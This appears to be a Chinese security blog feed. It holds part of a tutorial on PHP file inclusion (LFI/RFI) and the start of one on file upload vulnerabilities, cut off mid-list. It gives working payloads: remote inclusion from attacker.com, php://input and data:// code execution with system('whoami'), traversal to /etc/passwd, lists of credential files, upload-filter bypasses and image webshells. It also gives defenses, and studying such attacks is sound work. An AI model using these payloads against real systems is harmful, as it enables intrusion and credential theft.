内容：</span></div></div><div><div><div>2</div></div><div><span>下面有另外一个有效的php代码。&lt;br&gt;</span></div></div><div><div><div>3</div></div><div><span>&lt;?php</span></div></div><div><div><div>4</div></div><div><span>echo "我是第二个运行的脚本的结果。&lt;br&gt;";</span></div></div><div><div><div>5</div></div><div><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>访问 <code>?file=test.txt</code> → 其中的 PHP 代码被执行。</p><hr /></section></section>
<section><h2>五、远程文件包含（RFI）<a href="#五远程文件包含rfi"><span>#</span></a></h2><section><h3>5.1 前提条件<a href="#51-前提条件"><span>#</span></a></h3>

<table><thead><tr><th>配置项</th><th>值</th></tr></thead><tbody><tr><td><code>allow_url_fopen</code></td><td>On</td></tr><tr><td><code>allow_url_include</code></td><td><strong>On</strong>（核心条件）</td></tr></tbody></table></section><section><h3>5.2 配置路径<a href="#52-配置路径"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/etc/php/7.4/fpm/php.ini</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.3 重启生效<a href="#53-重启生效"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Linux</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>restart</span><span> </span><span>php7.4-fpm</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.4 利用方式<a href="#54-利用方式"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/include_demo.php?file=http://attacker.com/test.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>攻击者服务器上的 <code>test.txt</code> 包含恶意 PHP 代码，目标服务器会远程拉取并执行。</p><hr /></section></section>
<section><h2>六、敏感文件路径（信息泄露）<a href="#六敏感文件路径信息泄露"><span>#</span></a></h2><section><h3>6.1 Windows 敏感文件<a href="#61-windows-敏感文件"><span>#</span></a></h3>

<table><thead><tr><th>路径</th><th>内容</th></tr></thead><tbody><tr><td><code>c:\windows\win.ini</code></td><td>系统基本信息</td></tr><tr><td><code>c:\windows\my.ini</code></td><td>MySQL 安装时 root 密码</td></tr><tr><td><code>c:\windows\system32\config\sam</code></td><td>Windows 管理员密码哈希</td></tr><tr><td><code>c:\windows\repair\sam</code></td><td>系统初次安装密码</td></tr><tr><td><code>c:\windows\system32\inetsrv\MetaBase.xml</code></td><td>IIS 配置文件</td></tr><tr><td><code>c:\tomcat5.0\conf\resin.conf</code></td><td>Tomcat 密码配置</td></tr><tr><td><code>C:\boot.ini</code></td><td>系统版本信息</td></tr><tr><td><code>C:\ProgramFiles\mysql\my.ini</code></td><td>MySQL 配置</td></tr><tr><td><code>C:/ProgramFiles/mysql/data/mysql/user.MYD</code></td><td>MySQL root 账号</td></tr><tr><td><code>C:\windows\php.ini</code></td><td>PHP 配置信息</td></tr></tbody></table></section><section><h3>6.2 Linux 敏感文件<a href="#62-linux-敏感文件"><span>#</span></a></h3>

<table><thead><tr><th>路径</th><th>内容</th></tr></thead><tbody><tr><td><code>/etc/passwd</code></td><td>系统账号信息</td></tr><tr><td><code>/etc/shadow</code></td><td>系统密码哈希</td></tr><tr><td><code>/etc/httpd/conf/httpd.conf</code></td><td>Apache 配置</td></tr><tr><td><code>/etc/nginx/nginx.conf</code></td><td>Nginx 配置</td></tr><tr><td><code>/etc/my.conf</code></td><td>MySQL 配置</td></tr><tr><td><code>/usr/etc/php.ini</code></td><td>PHP 配置</td></tr><tr><td><code>/var/log/apache2/access.log</code></td><td>Apache 访问日志</td></tr><tr><td><code>/var/log/apache2/error.log</code></td><td>Apache 错误日志</td></tr><tr><td><code>/var/log/auth.log</code></td><td>认证日志</td></tr><tr><td><code>/etc/rc.d/rc.local</code></td><td>开机启动脚本</td></tr><tr><td><code>~/.bashrc</code></td><td>终端启动项（Redhat）</td></tr><tr><td><code>/etc/bash.bashrc</code></td><td>终端启动项（Debian）</td></tr><tr><td><code>/etc/sysconfig/network-scripts/ifcfg-eth0</code></td><td>IP 配置</td></tr><tr><td><code>/root/.ssh/authorized_keys</code></td><td>SSH 认证公钥</td></tr><tr><td><code>/root/.bash_history</code></td><td>系统历史命令</td></tr><tr><td><code>/root/.mysql_history</code></td><td>MySQL 历史命令</td></tr><tr><td><code>/proc/mounts</code></td><td>已挂载文件系统</td></tr><tr><td><code>/proc/config.gz</code></td><td>内核配置文件</td></tr></tbody></table><hr /></section></section>
<section><h2>七、PHP 伪协议利用<a href="#七php-伪协议利用"><span>#</span></a></h2><section><h3>7.1 常见伪协议<a href="#71-常见伪协议"><span>#</span></a></h3>

<table><thead><tr><th>协议</th><th>作用</th><th>条件</th></tr></thead><tbody><tr><td><code>php://filter</code></td><td>读取文件源码（Base64 编码）</td><td>无</td></tr><tr><td><code>php://input</code></td><td>POST 数据作为 PHP 代码执行</td><td><code>allow_url_include=On</code></td></tr><tr><td><code>data://</code></td><td>数据流写入</td><td><code>allow_url_include=On</code></td></tr><tr><td><code>phar://</code></td><td>读取 ZIP 压缩包中的文件</td><td>PHP 5.3+</td></tr><tr><td><code>zip://</code></td><td>读取 ZIP 压缩包中的文件</td><td>PHP 5.3+</td></tr></tbody></table></section><section><h3>7.2 php://filter（读取源码）<a href="#72-phpfilter读取源码"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Base64 编码读取，避免直接执行</span></div></div><div><div><div>2</div></div><div><span>http://target.com/include.php?file</span><span>=php://filter/</span><span>read</span><span>=convert.base64-encode/resource=config.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>作用：</strong> 读取 PHP 源码（否则会被执行而看不到源码）。</p></section><section><h3>7.3 php://input（执行 POST 数据）<a href="#73-phpinput执行-post-数据"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># GET 参数</span></div></div><div><div><div>2</div></div><div><span>http://target.com/include.php?file</span><span>=php://input</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># POST 数据</span></div></div><div><div><div>5</div></div><div><span>&lt;?php</span><span> </span><span>phpinfo</span><span>(); </span><span>?&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>条件：</strong> <code>allow_url_include = On</code></p></section><section><h3>7.4 data://（内联代码执行）<a href="#74-data内联代码执行"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 直接执行</span></div></div><div><div><div>2</div></div><div><span>http://target.com/include.php?file</span><span>=data://text/plain,&lt;?php</span><span> </span><span>phpinfo</span><span>();?&gt;</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># Base64 编码（推荐，避免特殊字符问题）</span></div></div><div><div><div>5</div></div><div><span>http://target.com/include.php?file</span><span>=data://text/plain</span><span>;</span><span>base64,PD9waHAgcGhwaW5mbygpOw</span><span>==</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>条件：</strong> <code>allow_url_include = On</code></p></section><section><h3>7.5 phar:// / zip://（读取压缩包）<a href="#75-phar--zip读取压缩包"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 相对路径</span></div></div><div><div><div>2</div></div><div><span>http://target.com/include.php?file</span><span>=phar://info.zip/phpinfo.txt</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 绝对路径</span></div></div><div><div><div>5</div></div><div><span>http://target.com/include.php?file</span><span>=zip://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>条件：</strong> PHP 5.3.0+</p><hr /></section></section>
<section><h2>八、利用思路<a href="#八利用思路"><span>#</span></a></h2><section><h3>8.1 完整利用流程<a href="#81-完整利用流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 发现文件包含参数（?file=、?page=、?url= 等）</span></div></div><div><div><div>2</div></div><div><span>2. 尝试本地文件包含（读取 /etc/passwd）</span></div></div><div><div><div>3</div></div><div><span>3. 如果成功 → LFI</span></div></div><div><div><div>4</div></div><div><span><span>   </span></span><span>├── 读取敏感文件获取信息</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>├── 包含日志文件（访问日志、错误日志）→ 注入代码到日志 → 包含执行</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>├── 包含上传的文件（头像、附件）→ 执行 Webshell</span></div></div><div><div><div>7</div></div><div><span><span>   </span></span><span>└── 包含 Session 文件 → 利用 Session 注入</span></div></div><div><div><div>8</div></div><div><span>4. 如果允许远程包含 → RFI</span></div></div><div><div><div>9</div></div><div><span><span>   </span></span><span>└── 包含远程恶意文件 → RCE</span></div></div><div><div><div>10</div></div><div><span>5. 使用伪协议</span></div></div><div><div><div>11</div></div><div><span><span>   </span></span><span>├── php://filter → 读取源码</span></div></div><div><div><div>12</div></div><div><span><span>   </span></span><span>├── php://input → 执行 POST 代码</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>└── data:// → 直接执行代码</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>8.2 关键判断<a href="#82-关键判断"><span>#</span></a></h3>

<table><thead><tr><th>问题</th><th>答案</th></tr></thead><tbody><tr><td>能读 /etc/passwd 吗？</td><td>✅ LFI 确认</td></tr><tr><td>能执行代码吗？</td><td>看是否包含 PHP 代码</td></tr><tr><td>allow_url_include 开启？</td><td>✅ 可以用 php://input / data://</td></tr><tr><td>可以上传文件？</td><td>✅ 包含上传后的文件路径</td></tr></tbody></table><hr /></section></section>
<section><h2>九、挖掘方法<a href="#九挖掘方法"><span>#</span></a></h2><section><h3>9.1 URL 特征识别<a href="#91-url-特征识别"><span>#</span></a></h3><p>搜索包含以下参数的 URL：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>?file=</span></div></div><div><div><div>2</div></div><div><span>?page=</span></div></div><div><div><div>3</div></div><div><span>?src=</span></div></div><div><div><div>4</div></div><div><span>?s=</span></div></div><div><div><div>5</div></div><div><span>?from=</span></div></div><div><div><div>6</div></div><div><span>?img=</span></div></div><div><div><div>7</div></div><div><span>?u=</span></div></div><div><div><div>8</div></div><div><span>?link=</span></div></div><div><div><div>9</div></div><div><span>?linkk=</span></div></div><div><div><div>10</div></div><div><span>?share=</span></div></div><div><div><div>11</div></div><div><span>?wap=</span></div></div><div><div><div>12</div></div><div><span>?target=</span></div></div><div><div><div>13</div></div><div><span>?t=</span></div></div><div><div><div>14</div></div><div><span>?3g=</span></div></div><div><div><div>15</div></div><div><span>?display=</span></div></div><div><div><div>16</div></div><div><span>?sourceURI=</span></div></div><div><div><div>17</div></div><div><span>?imageURL=</span></div></div><div><div><div>18</div></div><div><span>?domain=</span></div></div><div><div><div>19</div></div><div><span>?res=</span></div></div><div><div><div>20</div></div><div><span>?resource=</span></div></div><div><div><div>21</div></div><div><span>?host=</span></div></div><div><div><div>22</div></div><div><span>?path=</span></div></div><div><div><div>23</div></div><div><span>?dir=</span></div></div><div><div><div>24</div></div><div><span>?show=</span></div></div><div><div><div>25</div></div><div><span>?data=</span></div></div><div><div><div>26</div></div><div><span>?load=</span></div></div><div><div><div>27</div></div><div><span>?read=</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>9.2 代码审计<a href="#92-代码审计"><span>#</span></a></h3><p>搜索 PHP 文件包含函数：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>include(</span></div></div><div><div><div>2</div></div><div><span>include_once(</span></div></div><div><div><div>3</div></div><div><span>require(</span></div></div><div><div><div>4</div></div><div><span>require_once(</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>十、防御措施<a href="#十防御措施"><span>#</span></a></h2>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>关闭远程包含</strong></td><td><code>allow_url_include = Off</code></td></tr><tr><td><strong>输入过滤</strong></td><td>过滤 <code>../</code>、<code>./</code>、<code>\</code>、<code>http://</code>、<code>https://</code></td></tr><tr><td><strong>路径检查</strong></td><td>生成被包含文件路径后，正则检查是否合法</td></tr><tr><td><strong>禁用危险函数</strong></td><td><code>disable_functions</code> 包含 <code>include</code>、<code>require</code> 等（需谨慎）</td></tr><tr><td><strong>白名单</strong></td><td>只允许包含指定目录下的文件</td></tr></tbody></table><section><h3>防御示例<a href="#防御示例"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 白名单防御</span></div></div><div><div><div>2</div></div><div><span>$allowed</span><span><span> </span><span>=</span><span> [</span></span><span>'home'</span><span>, </span><span>'about'</span><span>, </span><span>'contact'</span><span>];</span></div></div><div><div><div>3</div></div><div><span>if</span><span><span> (</span><span>!</span></span><span>in_array</span><span>(</span><span>$_GET</span><span>[</span><span>'file'</span><span><span>],</span><span> </span></span><span>$allowed</span><span>)) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>die</span><span>(</span><span>'Invalid file'</span><span>);</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span>include</span><span>(</span><span>'./pages/'</span><span> </span><span>.</span><span> </span><span>$_GET</span><span>[</span><span>'file'</span><span>] </span><span>.</span><span> </span><span>'.php'</span><span>);</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>// 路径过滤</span></div></div><div><div><div>9</div></div><div><span>$file</span><span><span> </span><span>=</span><span> </span></span><span>str_replace</span><span>([</span><span>'../'</span><span><span>,</span><span> </span></span><span>'./'</span><span><span>,</span><span> </span></span><span>'</span><span>\\</span><span>'</span><span><span>],</span><span> </span></span><span>''</span><span><span>,</span><span> </span></span><span>$_GET</span><span>[</span><span>'file'</span><span>]);</span></div></div><div><div><div>10</div></div><div><span>include</span><span>(</span><span>'./pages/'</span><span> </span><span>.</span><span> </span><span>$file</span><span> </span><span>.</span><span> </span><span>'.php'</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>测试 Payload<a href="#测试-payload"><span>#</span></a></h3><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 测试 LFI</span></div></div><div><div><div>2</div></div><div><span>?</span><span>file</span><span>=</span><span>../../../../etc/passwd</span></div></div><div><div><div>3</div></div><div><span>?</span><span>file</span><span>=</span><span>..</span><span>\.</span><span>.</span><span>\.</span><span>.</span><span>\w</span><span>indows</span><span>\w</span><span>in.ini</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 读取 PHP 源码</span></div></div><div><div><div>6</div></div><div><span>?</span><span>file</span><span>=</span><span>php://filter/</span><span>read</span><span>=</span><span>convert.base64-encode/</span><span>resource</span><span>=</span><span>index.php</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 执行 POST 代码（allow_url_include=On）</span></div></div><div><div><div>9</div></div><div><span>?</span><span>file</span><span>=</span><span>php://input</span></div></div><div><div><div>10</div></div><div><span>POST:</span><span> </span><span>&lt;?php</span><span> </span><span>system</span><span>(</span><span>'whoami'</span><span>); </span><span>?&gt;</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span># data:// 执行代码（allow_url_include=On）</span></div></div><div><div><div>13</div></div><div><span>?</span><span>file</span><span>=</span><span>data://text/plain</span><span>;</span><span>base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg</span><span>==</span></div></div><div><div><div>14</div></div><div>
</div></div><div><div><div>15</div></div><div><span># 远程包含（allow_url_include=On）</span></div></div><div><div><div>16</div></div><div><span>?</span><span>file</span><span>=</span><span>http://attacker.com/shell.txt</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>关键判断<a href="#关键判断"><span>#</span></a></h3>

<table><thead><tr><th>目标</th><th>Payload</th></tr></thead><tbody><tr><td>是否存在 LFI</td><td><code>/etc/passwd</code> 或 <code>windows\win.ini</code></td></tr><tr><td>是否可执行代码</td><td>包含含 PHP 代码的文件</td></tr><tr><td>allow_url_include</td><td>尝试 <code>php://input</code></td></tr><tr><td>读取源码</td><td><code>php://filter</code></td></tr></tbody></table></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/file-upload-vulnerability/</id>
      <title type="text">文件上传漏洞</title>
      <published>2026-09-20T14:52:00.000Z</published>
      <updated>2026-09-20T14:52:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/file-upload-vulnerability/"/>
      <summary type="text">上传绕过方式、图片马、条件竞争，以及 getshell 后的权限问题。</summary>
      <content type="html"><![CDATA[<section><h2>一、文件上传漏洞概述<a href="#一文件上传漏洞概述"><span>#</span></a></h2><section><h3>1.1 什么是文件上传漏洞？<a href="#11-什么是文件上传漏洞"><span>#</span></a></h3><p>由于后端未对上传的文件进行正确的识别和处理，导致攻击者上传恶意文件（如 Webshell），进而控制系统。</p></section><section><h3>1.2 常见误解<a href="#12-常见误解"><span>#</span></a></h3>

<table><thead><tr><th>说法</th><th>正误</th></tr></thead><tbody><tr><td>“看见一个上传点，已经挖到一个文件上传漏洞”</td><td>❌ 必须<strong>上传并执行</strong>恶意代码才算</td></tr><tr><td>“上传功能正常就是安全的”</td><td>❌ 功能正常≠安全，需检查过滤机制</td></tr></tbody></table></section><section><h3>1.3 漏洞危害<a href="#13-漏洞危害"><span>#</span></a></h3>

<table><thead><tr><th>危害</th><th>说明</th></tr></thead><tbody><tr><td><strong>执行命令</strong></td><td>上传 Webshell，控制目标服务器</td></tr><tr><td><strong>资源消耗</strong></td><td>上传大文件或恶意文件消耗服务器资源</td></tr><tr><td><strong>内网渗透</strong></td><td>以服务器为跳板攻击内网</td></tr></tbody></table></section><section><h3>1.4 利用条件<a href="#14-利用条件"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 具备上传点且功能正常</span></div></div><div><div><div>2</div></div><div><span>2. 知道上传文件的路径且能够访问</span></div></div><div><div><div>3</div></div><div><span>3. 上传的文件可以被执行（如放在可执行目录）</span></div></div><div><div><div>4</div></div><div><span>4. 上传文件中的有效代码未被破坏（未被转义/过滤）</span></div></div><div><div><div>5</div></div><div><span>5. 后端脚本解析器需有足够权限（如管理员权限）</span></div></div><div><div><div>6</div></div><div><span>6. 配合文件解析漏洞使用</span></div></div><div><div><div>7</div></div><div><span>7. 未被 WAF 拦截或能够绕过 WAF</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>二、文件上传绕过方式<a href="#二文件上传绕过方式"><span>#</span></a></h2><section><h3>2.1 绕过方式总览<a href="#21-绕过方式总览"><span>#</span></a></h3>

<table><thead><tr><th>类别</th><th>方式</th><th>前提条件</th></tr></thead><tbody><tr><td><strong>前端绕过</strong></td><td>禁用 JS / 修改前端代码</td><td>仅前端校验</td></tr><tr><td><strong>MIME 绕过</strong></td><td>修改 Content-Type</td><td>后端仅检查 MIME</td></tr><tr><td><strong>生僻扩展名</strong></td><td>使用 php3/php4/php5/phtml 等</td><td>黑名单不完整</td></tr><tr><td><strong>大小写绕过</strong></td><td>.pHp / .PhP</td><td>黑名单未忽略大小写</td></tr><tr><td><strong>末尾加空格</strong></td><td><code>.php </code></td><td>低版本 PHP / Windows</td></tr><tr><td><strong>末尾加点</strong></td><td><code>.php.</code></td><td>Windows 系统</td></tr><tr><td><strong>::$DATA 绕过</strong></td><td><code>.php::$DATA</code></td><td>Windows + NTFS</td></tr><tr><td><strong>双写绕过</strong></td><td><code>.pphphp</code></td><td>黑名单仅替换一次</td></tr><tr><td><strong>NULL 截断</strong></td><td><code>.php%00.jpg</code></td><td>PHP &lt; 5.3.29</td></tr><tr><td><strong>.htaccess</strong></td><td>上传 .htaccess 解析任意文件</td><td>Apache</td></tr><tr><td><strong>.user.ini</strong></td><td>上传 .user.ini 包含恶意文件</td><td>PHP 较高版本</td></tr><tr><td><strong>条件竞争</strong></td><td>先上传再检查，利用时间差</td><td>检查机制滞后的场景</td></tr></tbody></table></section><section><h3>2.2 生僻扩展名<a href="#22-生僻扩展名"><span>#</span></a></h3><p><strong>PHP 系列：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>php、php2、php3、php4、php5、phtml、pht、phps</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>ASP 系列：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>asp、aspx、asa、asax、ascx、ashx、asmx、cer</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JSP 系列：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>jsp、jspa、jspx、jsw、jsv、jspf、jtml</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.3 前端绕过<a href="#23-前端绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 浏览器禁用 JavaScript</span></div></div><div><div><div>2</div></div><div><span>2. 使用 Burp Suite 修改上传请求</span></div></div><div><div><div>3</div></div><div><span>3. 删除或修改前端校验逻辑</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.4 Content-Type (MIME) 绕过<a href="#24-content-type-mime-绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 正常上传</span></div></div><div><div><div>2</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>image/jpeg</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 修改为合法 MIME 类型绕过检查</span></div></div><div><div><div>5</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>image/gif</span></div></div><div><div><div>6</div></div><div><span>Content-Type</span><span>:</span><span> </span><span>image/png</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.5 大小写绕过<a href="#25-大小写绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 黑名单过滤 .php，但未忽略大小写</span></div></div><div><div><div>2</div></div><div><span>shell.pHp</span></div></div><div><div><div>3</div></div><div><span>shell.PhP</span></div></div><div><div><div>4</div></div><div><span>shell.PHP</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.6 末尾加空格/加点<a href="#26-末尾加空格加点"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># Windows 系统会自动去除末尾空格和点</span></div></div><div><div><div>2</div></div><div><span>shell.php     → 有效</span></div></div><div><div><div>3</div></div><div><span>shell.php.    → Windows 自动去除末尾点</span></div></div><div><div><div>4</div></div><div><span>shell.php     → 空格</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.7 ::DATA 绕过（NTFS 文件流）<a href="#27-data-绕过ntfs-文件流"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># Windows NTFS 流文件绕过</span></div></div><div><div><div>2</div></div><div><span>shell.php::$DATA</span></div></div><div><div><div>3</div></div><div><span># 实际保存为 shell.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.8 双写绕过<a href="#28-双写绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 黑名单替换 .php 为空（仅替换一次）</span></div></div><div><div><div>2</div></div><div><span>shell</span><span>.</span><span>pphphp</span><span>  </span><span>→</span><span> </span><span>替换后</span><span> </span><span>→</span><span> </span><span>shell</span><span>.</span><span>php</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.9 NULL 截断<a href="#29-null-截断"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># PHP &lt; 5.3.29 版本</span></div></div><div><div><div>2</div></div><div><span>shell.php%00.jpg</span></div></div><div><div><div>3</div></div><div><span># %00 截断后面的内容，实际保存为 shell.php</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.10 .htaccess 绕过（Apache）<a href="#210-htaccess-绕过apache"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 上传 .htaccess 文件，让任意文件作为 PHP 解析</span></div></div><div><div><div>2</div></div><div><span>AddType application/x-httpd-php .jpg .png .gif</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>执行流程：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>上传 .htaccess → 修改解析规则 → 上传图片马 → 图片马被当作 PHP 执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.11 .user.ini 绕过<a href="#211-userini-绕过"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span># 上传 .user.ini 文件（PHP 5.3+）</span></div></div><div><div><div>2</div></div><div><span>auto_prepend_file</span><span><span> </span><span>=</span><span> shell.jpg</span></span></div></div><div><div><div>3</div></div><div><span># 所有 PHP 文件执行前自动包含 shell.jpg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>执行流程：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>上传 .user.ini → 设置自动包含 → 上传图片马 → 访问任意 PHP 文件 → 图片马被执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、图片马<a href="#三图片马"><span>#</span></a></h2><section><h3>3.1 什么是图片马？<a href="#31-什么是图片马"><span>#</span></a></h3><p>将 Webshell 代码隐藏在正常图片中的文件。图片仍可正常显示，但包含恶意代码。</p></section><section><h3>3.2 创建图片马<a href="#32-创建图片马"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 准备文件</span></div></div><div><div><div>2</div></div><div><span>0.jpg</span><span>    </span><span># 正常图片</span></div></div><div><div><div>3</div></div><div><span>shell.php</span><span> </span><span># 恶意代码</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 合并生成图片马</span></div></div><div><div><div>6</div></div><div><span>copy</span><span> </span><span>0.jpg</span><span> </span><span>/b</span><span> </span><span>+</span><span> </span><span>shell.php</span><span> </span><span>/a</span><span> </span><span>shell.jpg</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 参数说明：</span></div></div><div><div><div>9</div></div><div><span># /b    二进制模式</span></div></div><div><div><div>10</div></div><div><span># /a    ASCII模式</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 图片马 + 文件包含 = Getshell<a href="#33-图片马--文件包含--getshell"><span>#</span></a></h3><div><figure><figcaption><span>include.php</span></figcaption><pre><code><div><div><div>1</div></div><div><span>上传图片马 → 文件包含漏洞包含该图片 → 图片中的 PHP 代码被执行 → Getshell</span></div></div><div><div><div>2</div></div><div><span>&lt;?php</span></div></div><div><div><div>3</div></div><div><span>include($_GET['file']);</span></div></div><div><div><div>4</div></div><div><span>?&gt;</span></div></div><div><div><div>5</div></div><div><span>http://target.com/include.php?file=shell.jpg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>四、上传漏洞挖掘流程<a href="#四上传漏洞挖掘流程"><span>#</span></a></h2><section><h3>4.1 挖掘步骤<a href="#41-挖掘步骤"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 找上传功能点</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>├── 头像上传</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>├── 附件上传</span></div></div><div><div><div>4</div></div><div><span><span>   </span></span><span>├── 文件管理</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>└── 编辑器上传</span></div></div><div><div><div>6</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>7</div></div><div><span>2. 上传正常文件，确认功能正常</span></div></div><div><div><div>8</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>9</div></div><div><span>3. 判断是白名单还是黑名单</span></div></div><div><div><div>10</div></div><div><span><span>   </span></span><span>├── 白名单 → 只允许特定扩展名</span></div></div><div><div><div>11</div></div><div><span><span>   </span></span><span>│   ├── 尝试 00 截断</span></div></div><div><div><div>12</div></div><div><span><span>   </span></span><span>│   ├── 条件竞争</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>│   └── 图片马 + 文件包含/解析漏洞</span></div></div><div><div><div>14</div></div><div><span><span>   </span></span><span>│</span></div></div><div><div><div>15</div></div><div><span><span>   </span></span><span>└── 黑名单 → 过滤特定扩展名</span></div></div><div><div><div>16</div></div><div><span><span>       </span></span><span>├── 修改扩展名抓包</span></div></div><div><div><div>17</div></div><div><span><span>       </span></span><span>├── 大小写绕过</span></div></div><div><div><div>18</div></div><div><span><span>       </span></span><span>├── 生僻扩展名</span></div></div><div><div><div>19</div></div><div><span><span>       </span></span><span>├── 末尾加点/空格/::$DATA</span></div></div><div><div><div>20</div></div><div><span><span>       </span></span><span>├── .htaccess / 